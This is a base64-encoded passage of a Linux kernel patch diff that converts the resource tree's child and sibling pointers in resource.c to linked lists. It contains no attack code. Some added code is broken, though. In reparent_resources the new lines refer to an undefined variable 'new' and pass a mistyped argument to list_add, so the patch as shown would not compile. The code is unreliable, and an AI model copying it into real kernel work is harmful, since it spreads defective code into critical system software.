OwogCQlzcGluX3VubG9jaygmYm9vdG1lbV9yZXNvdXJjZV9sb2NrKTsKIAl9IGVsc2UgewogCQlr
ZnJlZShyZXMpOwpAQCAtMTY2LDEwICsxNjksOSBAQCBzdGF0aWMgc3RydWN0IHJlc291cmNlICph
bGxvY19yZXNvdXJjZShnZnBfdCBmbGFncykKIAlzdHJ1Y3QgcmVzb3VyY2UgKnJlcyA9IE5VTEw7
CiAKIAlzcGluX2xvY2soJmJvb3RtZW1fcmVzb3VyY2VfbG9jayk7Ci0JaWYgKGJvb3RtZW1fcmVz
b3VyY2VfZnJlZSkgewotCQlyZXMgPSBib290bWVtX3Jlc291cmNlX2ZyZWU7Ci0JCWJvb3RtZW1f
cmVzb3VyY2VfZnJlZSA9IHJlcy0+c2libGluZzsKLQl9CisJcmVzID0gcmVzb3VyY2VfZmlyc3Rf
Y2hpbGQoJmJvb3RtZW1fcmVzb3VyY2VfZnJlZSk7CisJaWYgKHJlcykKKwkJbGlzdF9kZWwoJnJl
cy0+c2libGluZyk7CiAJc3Bpbl91bmxvY2soJmJvb3RtZW1fcmVzb3VyY2VfbG9jayk7CiAKIAlp
ZiAocmVzKQpAQCAtMTc3LDYgKzE3OSw4IEBAIHN0YXRpYyBzdHJ1Y3QgcmVzb3VyY2UgKmFsbG9j
X3Jlc291cmNlKGdmcF90IGZsYWdzKQogCWVsc2UKIAkJcmVzID0ga3phbGxvYyhzaXplb2Yoc3Ry
dWN0IHJlc291cmNlKSwgZmxhZ3MpOwogCisJSU5JVF9MSVNUX0hFQUQoJnJlcy0+Y2hpbGQpOwor
CUlOSVRfTElTVF9IRUFEKCZyZXMtPnNpYmxpbmcpOwogCXJldHVybiByZXM7CiB9CiAKQEAgLTE4
NSw3ICsxODksNyBAQCBzdGF0aWMgc3RydWN0IHJlc291cmNlICogX19yZXF1ZXN0X3Jlc291cmNl
KHN0cnVjdCByZXNvdXJjZSAqcm9vdCwgc3RydWN0IHJlc291cgogewogCXJlc291cmNlX3NpemVf
dCBzdGFydCA9IG5ldy0+c3RhcnQ7CiAJcmVzb3VyY2Vfc2l6ZV90IGVuZCA9IG5ldy0+ZW5kOwot
CXN0cnVjdCByZXNvdXJjZSAqdG1wLCAqKnA7CisJc3RydWN0IHJlc291cmNlICp0bXA7CiAKIAlp
ZiAoZW5kIDwgc3RhcnQpCiAJCXJldHVybiByb290OwpAQCAtMTkzLDY0ICsxOTcsNjIgQEAgc3Rh
dGljIHN0cnVjdCByZXNvdXJjZSAqIF9fcmVxdWVzdF9yZXNvdXJjZShzdHJ1Y3QgcmVzb3VyY2Ug
KnJvb3QsIHN0cnVjdCByZXNvdXIKIAkJcmV0dXJuIHJvb3Q7CiAJaWYgKGVuZCA+IHJvb3QtPmVu
ZCkKIAkJcmV0dXJuIHJvb3Q7Ci0JcCA9ICZyb290LT5jaGlsZDsKLQlmb3IgKDs7KSB7Ci0JCXRt
cCA9ICpwOwotCQlpZiAoIXRtcCB8fCB0bXAtPnN0YXJ0ID4gZW5kKSB7Ci0JCQluZXctPnNpYmxp
bmcgPSB0bXA7Ci0JCQkqcCA9IG5ldzsKKworCWlmIChsaXN0X2VtcHR5KCZyb290LT5jaGlsZCkp
IHsKKwkJbGlzdF9hZGQoJm5ldy0+c2libGluZywgJnJvb3QtPmNoaWxkKTsKKwkJbmV3LT5wYXJl
bnQgPSByb290OworCQlJTklUX0xJU1RfSEVBRCgmbmV3LT5jaGlsZCk7CisJCXJldHVybiBOVUxM
OworCX0KKworCWxpc3RfZm9yX2VhY2hfZW50cnkodG1wLCAmcm9vdC0+Y2hpbGQsIHNpYmxpbmcp
IHsKKwkJaWYgKHRtcC0+c3RhcnQgPiBlbmQpIHsKKwkJCWxpc3RfYWRkKCZuZXctPnNpYmxpbmcs
IHRtcC0+c2libGluZy5wcmV2KTsKIAkJCW5ldy0+cGFyZW50ID0gcm9vdDsKKwkJCUlOSVRfTElT
VF9IRUFEKCZuZXctPmNoaWxkKTsKIAkJCXJldHVybiBOVUxMOwogCQl9Ci0JCXAgPSAmdG1wLT5z
aWJsaW5nOwogCQlpZiAodG1wLT5lbmQgPCBzdGFydCkKIAkJCWNvbnRpbnVlOwogCQlyZXR1cm4g
dG1wOwogCX0KKworCWxpc3RfYWRkX3RhaWwoJm5ldy0+c2libGluZywgJnJvb3QtPmNoaWxkKTsK
KwluZXctPnBhcmVudCA9IHJvb3Q7CisJSU5JVF9MSVNUX0hFQUQoJm5ldy0+Y2hpbGQpOworCXJl
dHVybiBOVUxMOwogfQogCiBzdGF0aWMgaW50IF9fcmVsZWFzZV9yZXNvdXJjZShzdHJ1Y3QgcmVz
b3VyY2UgKm9sZCwgYm9vbCByZWxlYXNlX2NoaWxkKQogewotCXN0cnVjdCByZXNvdXJjZSAqdG1w
LCAqKnAsICpjaGQ7CisJc3RydWN0IHJlc291cmNlICp0bXAsICpuZXh0LCAqY2hkOwogCi0JcCA9
ICZvbGQtPnBhcmVudC0+Y2hpbGQ7Ci0JZm9yICg7OykgewotCQl0bXAgPSAqcDsKLQkJaWYgKCF0
bXApCi0JCQlicmVhazsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5X3NhZmUodG1wLCBuZXh0LCAmb2xk
LT5wYXJlbnQtPmNoaWxkLCBzaWJsaW5nKSB7CiAJCWlmICh0bXAgPT0gb2xkKSB7Ci0JCQlpZiAo
cmVsZWFzZV9jaGlsZCB8fCAhKHRtcC0+Y2hpbGQpKSB7Ci0JCQkJKnAgPSB0bXAtPnNpYmxpbmc7
CisJCQlpZiAocmVsZWFzZV9jaGlsZCB8fCBsaXN0X2VtcHR5KCZ0bXAtPmNoaWxkKSkgeworCQkJ
CWxpc3RfZGVsKCZ0bXAtPnNpYmxpbmcpOwogCQkJfSBlbHNlIHsKLQkJCQlmb3IgKGNoZCA9IHRt
cC0+Y2hpbGQ7OyBjaGQgPSBjaGQtPnNpYmxpbmcpIHsKKwkJCQlsaXN0X2Zvcl9lYWNoX2VudHJ5
KGNoZCwgJnRtcC0+Y2hpbGQsIHNpYmxpbmcpCiAJCQkJCWNoZC0+cGFyZW50ID0gdG1wLT5wYXJl
bnQ7Ci0JCQkJCWlmICghKGNoZC0+c2libGluZykpCi0JCQkJCQlicmVhazsKLQkJCQl9Ci0JCQkJ
KnAgPSB0bXAtPmNoaWxkOwotCQkJCWNoZC0+c2libGluZyA9IHRtcC0+c2libGluZzsKKwkJCQls
aXN0X3NwbGljZSgmdG1wLT5jaGlsZCwgdG1wLT5zaWJsaW5nLnByZXYpOworCQkJCWxpc3RfZGVs
KCZ0bXAtPnNpYmxpbmcpOwogCQkJfQorCiAJCQlvbGQtPnBhcmVudCA9IE5VTEw7CiAJCQlyZXR1
cm4gMDsKIAkJfQotCQlwID0gJnRtcC0+c2libGluZzsKIAl9CiAJcmV0dXJuIC1FSU5WQUw7CiB9
CiAKIHN0YXRpYyB2b2lkIF9fcmVsZWFzZV9jaGlsZF9yZXNvdXJjZXMoc3RydWN0IHJlc291cmNl
ICpyKQogewotCXN0cnVjdCByZXNvdXJjZSAqdG1wLCAqcDsKKwlzdHJ1Y3QgcmVzb3VyY2UgKnRt
cCwgKm5leHQ7CiAJcmVzb3VyY2Vfc2l6ZV90IHNpemU7CiAKLQlwID0gci0+Y2hpbGQ7Ci0Jci0+
Y2hpbGQgPSBOVUxMOwotCXdoaWxlIChwKSB7Ci0JCXRtcCA9IHA7Ci0JCXAgPSBwLT5zaWJsaW5n
OwotCisJbGlzdF9mb3JfZWFjaF9lbnRyeV9zYWZlKHRtcCwgbmV4dCwgJnItPmNoaWxkLCBzaWJs
aW5nKSB7CiAJCXRtcC0+cGFyZW50ID0gTlVMTDsKLQkJdG1wLT5zaWJsaW5nID0gTlVMTDsKKwkJ
SU5JVF9MSVNUX0hFQUQoJnRtcC0+c2libGluZyk7CiAJCV9fcmVsZWFzZV9jaGlsZF9yZXNvdXJj
ZXModG1wKTsKIAogCQlwcmludGsoS0VSTl9ERUJVRyAicmVsZWFzZSBjaGlsZCByZXNvdXJjZSAl
cFJcbiIsIHRtcCk7CkBAIC0yNTksNiArMjYxLDggQEAgc3RhdGljIHZvaWQgX19yZWxlYXNlX2No
aWxkX3Jlc291cmNlcyhzdHJ1Y3QgcmVzb3VyY2UgKnIpCiAJCXRtcC0+c3RhcnQgPSAwOwogCQl0
bXAtPmVuZCA9IHNpemUgLSAxOwogCX0KKworCUlOSVRfTElTVF9IRUFEKCZ0bXAtPmNoaWxkKTsK
IH0KIAogdm9pZCByZWxlYXNlX2NoaWxkX3Jlc291cmNlcyhzdHJ1Y3QgcmVzb3VyY2UgKnIpCkBA
IC0zNDMsNyArMzQ3LDggQEAgc3RhdGljIGludCBmaW5kX25leHRfaW9tZW1fcmVzKHN0cnVjdCBy
ZXNvdXJjZSAqcmVzLCB1bnNpZ25lZCBsb25nIGRlc2MsCiAKIAlyZWFkX2xvY2soJnJlc291cmNl
X2xvY2spOwogCi0JZm9yIChwID0gaW9tZW1fcmVzb3VyY2UuY2hpbGQ7IHA7IHAgPSBuZXh0X3Jl
c291cmNlKHAsIHNpYmxpbmdfb25seSkpIHsKKwlmb3IgKHAgPSByZXNvdXJjZV9maXJzdF9jaGls
ZCgmaW9tZW1fcmVzb3VyY2UuY2hpbGQpOyBwOworCQkJcCA9IG5leHRfcmVzb3VyY2UocCwgc2li
bGluZ19vbmx5KSkgewogCQlpZiAoKHAtPmZsYWdzICYgcmVzLT5mbGFncykgIT0gcmVzLT5mbGFn
cykKIAkJCWNvbnRpbnVlOwogCQlpZiAoKGRlc2MgIT0gSU9SRVNfREVTQ19OT05FKSAmJiAoZGVz
YyAhPSBwLT5kZXNjKSkKQEAgLTUzMiw3ICs1MzcsNyBAQCBpbnQgcmVnaW9uX2ludGVyc2VjdHMo
cmVzb3VyY2Vfc2l6ZV90IHN0YXJ0LCBzaXplX3Qgc2l6ZSwgdW5zaWduZWQgbG9uZyBmbGFncywK
IAlzdHJ1Y3QgcmVzb3VyY2UgKnA7CiAKIAlyZWFkX2xvY2soJnJlc291cmNlX2xvY2spOwotCWZv
ciAocCA9IGlvbWVtX3Jlc291cmNlLmNoaWxkOyBwIDsgcCA9IHAtPnNpYmxpbmcpIHsKKwlsaXN0
X2Zvcl9lYWNoX2VudHJ5KHAsICZpb21lbV9yZXNvdXJjZS5jaGlsZCwgc2libGluZykgewogCQli
b29sIGlzX3R5cGUgPSAoKChwLT5mbGFncyAmIGZsYWdzKSA9PSBmbGFncykgJiYKIAkJCQkoKGRl
c2MgPT0gSU9SRVNfREVTQ19OT05FKSB8fAogCQkJCSAoZGVzYyA9PSBwLT5kZXNjKSkpOwpAQCAt
NTg2LDcgKzU5MSw3IEBAIHN0YXRpYyBpbnQgX19maW5kX3Jlc291cmNlKHN0cnVjdCByZXNvdXJj
ZSAqcm9vdCwgc3RydWN0IHJlc291cmNlICpvbGQsCiAJCQkgcmVzb3VyY2Vfc2l6ZV90ICBzaXpl
LAogCQkJIHN0cnVjdCByZXNvdXJjZV9jb25zdHJhaW50ICpjb25zdHJhaW50KQogewotCXN0cnVj
dCByZXNvdXJjZSAqdGhpcyA9IHJvb3QtPmNoaWxkOworCXN0cnVjdCByZXNvdXJjZSAqdGhpcyA9
IHJlc291cmNlX2ZpcnN0X2NoaWxkKCZyb290LT5jaGlsZCk7CiAJc3RydWN0IHJlc291cmNlIHRt
cCA9ICpuZXcsIGF2YWlsLCBhbGxvYzsKIAogCXRtcC5zdGFydCA9IHJvb3QtPnN0YXJ0OwpAQCAt
NTk2LDcgKzYwMSw3IEBAIHN0YXRpYyBpbnQgX19maW5kX3Jlc291cmNlKHN0cnVjdCByZXNvdXJj
ZSAqcm9vdCwgc3RydWN0IHJlc291cmNlICpvbGQsCiAJICovCiAJaWYgKHRoaXMgJiYgdGhpcy0+
c3RhcnQgPT0gcm9vdC0+c3RhcnQpIHsKIAkJdG1wLnN0YXJ0ID0gKHRoaXMgPT0gb2xkKSA/IG9s
ZC0+c3RhcnQgOiB0aGlzLT5lbmQgKyAxOwotCQl0aGlzID0gdGhpcy0+c2libGluZzsKKwkJdGhp
cyA9IHJlc291cmNlX3NpYmxpbmcodGhpcyk7CiAJfQogCWZvcig7OykgewogCQlpZiAodGhpcykK
QEAgLTYzMiw3ICs2MzcsNyBAQCBuZXh0OgkJaWYgKCF0aGlzIHx8IHRoaXMtPmVuZCA9PSByb290
LT5lbmQpCiAKIAkJaWYgKHRoaXMgIT0gb2xkKQogCQkJdG1wLnN0YXJ0ID0gdGhpcy0+ZW5kICsg
MTsKLQkJdGhpcyA9IHRoaXMtPnNpYmxpbmc7CisJCXRoaXMgPSByZXNvdXJjZV9zaWJsaW5nKHRo
aXMpOwogCX0KIAlyZXR1cm4gLUVCVVNZOwogfQpAQCAtNjc2LDcgKzY4MSw3IEBAIHN0YXRpYyBp
bnQgcmVhbGxvY2F0ZV9yZXNvdXJjZShzdHJ1Y3QgcmVzb3VyY2UgKnJvb3QsIHN0cnVjdCByZXNv
dXJjZSAqb2xkLAogCQlnb3RvIG91dDsKIAl9CiAKLQlpZiAob2xkLT5jaGlsZCkgeworCWlmICgh
bGlzdF9lbXB0eSgmb2xkLT5jaGlsZCkpIHsKIAkJZXJyID0gLUVCVVNZOwogCQlnb3RvIG91dDsK
IAl9CkBAIC03NTcsNyArNzYyLDcgQEAgc3RydWN0IHJlc291cmNlICpsb29rdXBfcmVzb3VyY2Uo
c3RydWN0IHJlc291cmNlICpyb290LCByZXNvdXJjZV9zaXplX3Qgc3RhcnQpCiAJc3RydWN0IHJl
c291cmNlICpyZXM7CiAKIAlyZWFkX2xvY2soJnJlc291cmNlX2xvY2spOwotCWZvciAocmVzID0g
cm9vdC0+Y2hpbGQ7IHJlczsgcmVzID0gcmVzLT5zaWJsaW5nKSB7CisJbGlzdF9mb3JfZWFjaF9l
bnRyeShyZXMsICZyb290LT5jaGlsZCwgc2libGluZykgewogCQlpZiAocmVzLT5zdGFydCA9PSBz
dGFydCkKIAkJCWJyZWFrOwogCX0KQEAgLTc5MCwzMiArNzk1LDI3IEBAIHN0YXRpYyBzdHJ1Y3Qg
cmVzb3VyY2UgKiBfX2luc2VydF9yZXNvdXJjZShzdHJ1Y3QgcmVzb3VyY2UgKnBhcmVudCwgc3Ry
dWN0IHJlc291CiAJCQlicmVhazsKIAl9CiAKLQlmb3IgKG5leHQgPSBmaXJzdDsgOyBuZXh0ID0g
bmV4dC0+c2libGluZykgeworCWZvciAobmV4dCA9IGZpcnN0OyA7IG5leHQgPSByZXNvdXJjZV9z
aWJsaW5nKG5leHQpKSB7CiAJCS8qIFBhcnRpYWwgb3ZlcmxhcD8gQmFkLCBhbmQgdW5maXhhYmxl
ICovCiAJCWlmIChuZXh0LT5zdGFydCA8IG5ldy0+c3RhcnQgfHwgbmV4dC0+ZW5kID4gbmV3LT5l
bmQpCiAJCQlyZXR1cm4gbmV4dDsKLQkJaWYgKCFuZXh0LT5zaWJsaW5nKQorCQlpZiAoIXJlc291
cmNlX3NpYmxpbmcobmV4dCkpCiAJCQlicmVhazsKLQkJaWYgKG5leHQtPnNpYmxpbmctPnN0YXJ0
ID4gbmV3LT5lbmQpCisJCWlmIChyZXNvdXJjZV9zaWJsaW5nKG5leHQpLT5zdGFydCA+IG5ldy0+
ZW5kKQogCQkJYnJlYWs7CiAJfQotCiAJbmV3LT5wYXJlbnQgPSBwYXJlbnQ7Ci0JbmV3LT5zaWJs
aW5nID0gbmV4dC0+c2libGluZzsKLQluZXctPmNoaWxkID0gZmlyc3Q7CisJbGlzdF9hZGQoJm5l
dy0+c2libGluZywgJm5leHQtPnNpYmxpbmcpOworCUlOSVRfTElTVF9IRUFEKCZuZXctPmNoaWxk
KTsKIAotCW5leHQtPnNpYmxpbmcgPSBOVUxMOwotCWZvciAobmV4dCA9IGZpcnN0OyBuZXh0OyBu
ZXh0ID0gbmV4dC0+c2libGluZykKKwkvKgorCSAqIEZyb20gZmlyc3QgdG8gbmV4dCwgdGhleSBh
bGwgZmFsbCBpbnRvIG5ldydzIHJlZ2lvbiwgc28gY2hhbmdlIHRoZW0KKwkgKiBhcyBuZXcncyBj
aGlsZHJlbi4KKwkgKi8KKwlsaXN0X2N1dF9wb3NpdGlvbigmbmV3LT5jaGlsZCwgZmlyc3QtPnNp
YmxpbmcucHJldiwgJm5leHQtPnNpYmxpbmcpOworCWxpc3RfZm9yX2VhY2hfZW50cnkobmV4dCwg
Jm5ldy0+Y2hpbGQsIHNpYmxpbmcpCiAJCW5leHQtPnBhcmVudCA9IG5ldzsKIAotCWlmIChwYXJl
bnQtPmNoaWxkID09IGZpcnN0KSB7Ci0JCXBhcmVudC0+Y2hpbGQgPSBuZXc7Ci0JfSBlbHNlIHsK
LQkJbmV4dCA9IHBhcmVudC0+Y2hpbGQ7Ci0JCXdoaWxlIChuZXh0LT5zaWJsaW5nICE9IGZpcnN0
KQotCQkJbmV4dCA9IG5leHQtPnNpYmxpbmc7Ci0JCW5leHQtPnNpYmxpbmcgPSBuZXc7Ci0JfQog
CXJldHVybiBOVUxMOwogfQogCkBAIC05MzcsMTkgKzkzNywxNyBAQCBzdGF0aWMgaW50IF9fYWRq
dXN0X3Jlc291cmNlKHN0cnVjdCByZXNvdXJjZSAqcmVzLCByZXNvdXJjZV9zaXplX3Qgc3RhcnQs
CiAJaWYgKChzdGFydCA8IHBhcmVudC0+c3RhcnQpIHx8IChlbmQgPiBwYXJlbnQtPmVuZCkpCiAJ
CWdvdG8gb3V0OwogCi0JaWYgKHJlcy0+c2libGluZyAmJiAocmVzLT5zaWJsaW5nLT5zdGFydCA8
PSBlbmQpKQorCWlmIChyZXNvdXJjZV9zaWJsaW5nKHJlcykgJiYgKHJlc291cmNlX3NpYmxpbmco
cmVzKS0+c3RhcnQgPD0gZW5kKSkKIAkJZ290byBvdXQ7CiAKLQl0bXAgPSBwYXJlbnQtPmNoaWxk
OwotCWlmICh0bXAgIT0gcmVzKSB7Ci0JCXdoaWxlICh0bXAtPnNpYmxpbmcgIT0gcmVzKQotCQkJ
dG1wID0gdG1wLT5zaWJsaW5nOworCWlmIChyZXMtPnNpYmxpbmcucHJldiAhPSAmcGFyZW50LT5j
aGlsZCkgeworCQl0bXAgPSBsaXN0X3ByZXZfZW50cnkocmVzLCBzaWJsaW5nKTsKIAkJaWYgKHN0
YXJ0IDw9IHRtcC0+ZW5kKQogCQkJZ290byBvdXQ7CiAJfQogCiBza2lwOgotCWZvciAodG1wID0g
cmVzLT5jaGlsZDsgdG1wOyB0bXAgPSB0bXAtPnNpYmxpbmcpCisJbGlzdF9mb3JfZWFjaF9lbnRy
eSh0bXAsICZyZXMtPmNoaWxkLCBzaWJsaW5nKQogCQlpZiAoKHRtcC0+c3RhcnQgPCBzdGFydCkg
fHwgKHRtcC0+ZW5kID4gZW5kKSkKIAkJCWdvdG8gb3V0OwogCkBAIC05ODcsMzEgKzk4NSwzMyBA
QCBFWFBPUlRfU1lNQk9MKGFkanVzdF9yZXNvdXJjZSk7CiAgKiBSZXBhcmVudCByZXNvdXJjZSBj
aGlsZHJlbiBvZiBwciB0aGF0IGNvbmZsaWN0IHdpdGggcmVzCiAgKiB1bmRlciByZXMsIGFuZCBt
YWtlIHJlcyByZXBsYWNlIHRob3NlIGNoaWxkcmVuLgogICovCi1zdGF0aWMgaW50IHJlcGFyZW50
X3Jlc291cmNlcyhzdHJ1Y3QgcmVzb3VyY2UgKnBhcmVudCwKLQkJCQkgICAgIHN0cnVjdCByZXNv
dXJjZSAqcmVzKQoraW50IHJlcGFyZW50X3Jlc291cmNlcyhzdHJ1Y3QgcmVzb3VyY2UgKnBhcmVu
dCwgc3RydWN0IHJlc291cmNlICpyZXMpCiB7Ci0Jc3RydWN0IHJlc291cmNlICpwLCAqKnBwOwot
CXN0cnVjdCByZXNvdXJjZSAqKmZpcnN0cHAgPSBOVUxMOworCXN0cnVjdCByZXNvdXJjZSAqcCwg
KmZpcnN0ID0gTlVMTDsKIAotCWZvciAocHAgPSAmcGFyZW50LT5jaGlsZDsgKHAgPSAqcHApICE9
IE5VTEw7IHBwID0gJnAtPnNpYmxpbmcpIHsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5KHAsICZwYXJl
bnQtPmNoaWxkLCBzaWJsaW5nKSB7CiAJCWlmIChwLT5lbmQgPCByZXMtPnN0YXJ0KQogCQkJY29u
dGludWU7CiAJCWlmIChyZXMtPmVuZCA8IHAtPnN0YXJ0KQogCQkJYnJlYWs7CiAJCWlmIChwLT5z
dGFydCA8IHJlcy0+c3RhcnQgfHwgcC0+ZW5kID4gcmVzLT5lbmQpCiAJCQlyZXR1cm4gLTE7CS8q
IG5vdCBjb21wbGV0ZWx5IGNvbnRhaW5lZCAqLwotCQlpZiAoZmlyc3RwcCA9PSBOVUxMKQotCQkJ
Zmlyc3RwcCA9IHBwOworCQlpZiAoZmlyc3QgPT0gTlVMTCkKKwkJCWZpcnN0ID0gcDsKIAl9Ci0J
aWYgKGZpcnN0cHAgPT0gTlVMTCkKKwlpZiAoZmlyc3QgPT0gTlVMTCkKIAkJcmV0dXJuIC0xOwkv
KiBkaWRuJ3QgZmluZCBhbnkgY29uZmxpY3RpbmcgZW50cmllcz8gKi8KIAlyZXMtPnBhcmVudCA9
IHBhcmVudDsKLQlyZXMtPmNoaWxkID0gKmZpcnN0cHA7Ci0JcmVzLT5zaWJsaW5nID0gKnBwOwot
CSpmaXJzdHBwID0gcmVzOwotCSpwcCA9IE5VTEw7Ci0JZm9yIChwID0gcmVzLT5jaGlsZDsgcCAh
PSBOVUxMOyBwID0gcC0+c2libGluZykgewotCQlwLT5wYXJlbnQgPSByZXM7CisJbGlzdF9hZGQo
JnJlcy0+c2libGluZywgJnAtPnNpYmxpbmcucHJldik7CisJSU5JVF9MSVNUX0hFQUQoJnJlcy0+
Y2hpbGQpOworCisJLyoKKwkgKiBGcm9tIGZpcnN0IHRvIHAncyBwcmV2aW91cyBzaWJsaW5nLCB0
aGV5IGFsbCBmYWxsIGludG8KKwkgKiByZXMncyByZWdpb24sIGNoYW5nZSB0aGVtIGFzIHJlcydz
IGNoaWxkcmVuLgorCSAqLworCWxpc3RfY3V0X3Bvc2l0aW9uKCZyZXMtPmNoaWxkLCBmaXJzdC0+
c2libGluZy5wcmV2LCByZXMtPnNpYmxpbmcucHJldik7CisJbGlzdF9mb3JfZWFjaF9lbnRyeShw
LCAmbmV3LT5jaGlsZCwgc2libGluZykgeworICAgICAgICAgICAgICAgIHAtPnBhcmVudCA9IG5l
dzsKIAkJcHJfZGVidWcoIlBDSTogUmVwYXJlbnRlZCAlcyAlcFIgdW5kZXIgJXNcbiIsCiAJCQkg
cC0+bmFtZSwgcCwgcmVzLT5uYW1lKTsKIAl9CkBAIC0xMjEwLDM0ICsxMjEwLDMyIEBAIEVYUE9S
VF9TWU1CT0woX19yZXF1ZXN0X3JlZ2lvbik7CiB2b2lkIF9fcmVsZWFzZV9yZWdpb24oc3RydWN0
IHJlc291cmNlICpwYXJlbnQsIHJlc291cmNlX3NpemVfdCBzdGFydCwKIAkJCXJlc291cmNlX3Np
emVfdCBuKQogewotCXN0cnVjdCByZXNvdXJjZSAqKnA7CisJc3RydWN0IHJlc291cmNlICpyZXM7
CiAJcmVzb3VyY2Vfc2l6ZV90IGVuZDsKIAotCXAgPSAmcGFyZW50LT5jaGlsZDsKKwlyZXMgPSBy
ZXNvdXJjZV9maXJzdF9jaGlsZCgmcGFyZW50LT5jaGlsZCk7CiAJZW5kID0gc3RhcnQgKyBuIC0g
MTsKIAogCXdyaXRlX2xvY2soJnJlc291cmNlX2xvY2spOwogCiAJZm9yICg7OykgewotCQlzdHJ1
Y3QgcmVzb3VyY2UgKnJlcyA9ICpwOwotCiAJCWlmICghcmVzKQogCQkJYnJlYWs7CiAJCWlmIChy
ZXMtPnN0YXJ0IDw9IHN0YXJ0ICYmIHJlcy0+ZW5kID49IGVuZCkgewogCQkJaWYgKCEocmVzLT5m
bGFncyAmIElPUkVTT1VSQ0VfQlVTWSkpIHsKLQkJCQlwID0gJnJlcy0+Y2hpbGQ7CisJCQkJcmVz
ID0gcmVzb3VyY2VfZmlyc3RfY2hpbGQoJnJlcy0+Y2hpbGQpOwogCQkJCWNvbnRpbnVlOwogCQkJ
fQogCQkJaWYgKHJlcy0+c3RhcnQgIT0gc3RhcnQgfHwgcmVzLT5lbmQgIT0gZW5kKQogCQkJCWJy
ZWFrOwotCQkJKnAgPSByZXMtPnNpYmxpbmc7CisJCQlsaXN0X2RlbCgmcmVzLT5zaWJsaW5nKTsK
IAkJCXdyaXRlX3VubG9jaygmcmVzb3VyY2VfbG9jayk7CiAJCQlpZiAocmVzLT5mbGFncyAmIElP
UkVTT1VSQ0VfTVVYRUQpCiAJCQkJd2FrZV91cCgmbXV4ZWRfcmVzb3VyY2Vfd2FpdCk7CiAJCQlm
cmVlX3Jlc291cmNlKHJlcyk7CiAJCQlyZXR1cm47CiAJCX0KLQkJcCA9ICZyZXMtPnNpYmxpbmc7
CisJCXJlcyA9IHJlc291cmNlX3NpYmxpbmcocmVzKTsKIAl9CiAKIAl3cml0ZV91bmxvY2soJnJl
c291cmNlX2xvY2spOwpAQCAtMTI3Miw5ICsxMjcwLDcgQEAgRVhQT1JUX1NZTUJPTChfX3JlbGVh
c2VfcmVnaW9uKTsKIGludCByZWxlYXNlX21lbV9yZWdpb25fYWRqdXN0YWJsZShzdHJ1Y3QgcmVz
b3VyY2UgKnBhcmVudCwKIAkJCXJlc291cmNlX3NpemVfdCBzdGFydCwgcmVzb3VyY2Vfc2l6ZV90
IHNpemUpCiB7Ci0Jc3RydWN0IHJlc291cmNlICoqcDsKLQlzdHJ1Y3QgcmVzb3VyY2UgKnJlczsK
LQlzdHJ1Y3QgcmVzb3VyY2UgKm5ld19yZXM7CisJc3RydWN0IHJlc291cmNlICpyZXMsICpuZXdf
cmVzOwogCXJlc291cmNlX3NpemVfdCBlbmQ7CiAJaW50IHJldCA9IC1FSU5WQUw7CiAKQEAgLTEy
ODUsMTYgKzEyODEsMTYgQEAgaW50IHJlbGVhc2VfbWVtX3JlZ2lvbl9hZGp1c3RhYmxlKHN0cnVj
dCByZXNvdXJjZSAqcGFyZW50LAogCS8qIFRoZSBhbGxvY19yZXNvdXJjZSgpIHJlc3VsdCBnZXRz
IGNoZWNrZWQgbGF0ZXIgKi8KIAluZXdfcmVzID0gYWxsb2NfcmVzb3VyY2UoR0ZQX0tFUk5FTCk7
CiAKLQlwID0gJnBhcmVudC0+Y2hpbGQ7CisJcmVzID0gcmVzb3VyY2VfZmlyc3RfY2hpbGQoJnBh
cmVudC0+Y2hpbGQpOwogCXdyaXRlX2xvY2soJnJlc291cmNlX2xvY2spOwogCi0Jd2hpbGUgKChy
ZXMgPSAqcCkpIHsKKwl3aGlsZSAoKHJlcykpIHsKIAkJaWYgKHJlcy0+c3RhcnQgPj0gZW5kKQog
CQkJYnJlYWs7CiAKIAkJLyogbG9vayBmb3IgdGhlIG5leHQgcmVzb3VyY2UgaWYgaXQgZG9lcyBu
b3QgZml0IGludG8gKi8KIAkJaWYgKHJlcy0+c3RhcnQgPiBzdGFydCB8fCByZXMtPmVuZCA8IGVu
ZCkgewotCQkJcCA9ICZyZXMtPnNpYmxpbmc7CisJCQlyZXMgPSByZXNvdXJjZV9zaWJsaW5nKHJl
cyk7CiAJCQljb250aW51ZTsKIAkJfQogCkBAIC0xMzAyLDE0ICsxMjk4LDE0IEBAIGludCByZWxl
YXNlX21lbV9yZWdpb25fYWRqdXN0YWJsZShzdHJ1Y3QgcmVzb3VyY2UgKnBhcmVudCwKIAkJCWJy
ZWFrOwogCiAJCWlmICghKHJlcy0+ZmxhZ3MgJiBJT1JFU09VUkNFX0JVU1kpKSB7Ci0JCQlwID0g
JnJlcy0+Y2hpbGQ7CisJCQlyZXMgPSByZXNvdXJjZV9maXJzdF9jaGlsZCgmcmVzLT5jaGlsZCk7
CiAJCQljb250aW51ZTsKIAkJfQogCiAJCS8qIGZvdW5kIHRoZSB0YXJnZXQgcmVzb3VyY2U7IGxl
dCdzIGFkanVzdCBhY2NvcmRpbmdseSAqLwogCQlpZiAocmVzLT5zdGFydCA9PSBzdGFydCAmJiBy
ZXMtPmVuZCA9PSBlbmQpIHsKIAkJCS8qIGZyZWUgdGhlIHdob2xlIGVudHJ5ICovCi0JCQkqcCA9
IHJlcy0+c2libGluZzsKKwkJCWxpc3RfZGVsKCZyZXMtPnNpYmxpbmcpOwogCQkJZnJlZV9yZXNv
dXJjZShyZXMpOwogCQkJcmV0ID0gMDsKIAkJfSBlbHNlIGlmIChyZXMtPnN0YXJ0ID09IHN0YXJ0
ICYmIHJlcy0+ZW5kICE9IGVuZCkgewpAQCAtMTMzMiwxNCArMTMyOCwxMyBAQCBpbnQgcmVsZWFz
ZV9tZW1fcmVnaW9uX2FkanVzdGFibGUoc3RydWN0IHJlc291cmNlICpwYXJlbnQsCiAJCQluZXdf
cmVzLT5mbGFncyA9IHJlcy0+ZmxhZ3M7CiAJCQluZXdfcmVzLT5kZXNjID0gcmVzLT5kZXNjOwog
CQkJbmV3X3Jlcy0+cGFyZW50ID0gcmVzLT5wYXJlbnQ7Ci0JCQluZXdfcmVzLT5zaWJsaW5nID0g
cmVzLT5zaWJsaW5nOwotCQkJbmV3X3Jlcy0+Y2hpbGQgPSBOVUxMOworCQkJSU5JVF9MSVNUX0hF
QUQoJm5ld19yZXMtPmNoaWxkKTsKIAogCQkJcmV0ID0gX19hZGp1c3RfcmVzb3VyY2UocmVzLCBy
ZXMtPnN0YXJ0LAogCQkJCQkJc3RhcnQgLSByZXMtPnN0YXJ0KTsKIAkJCWlmIChyZXQpCiAJCQkJ
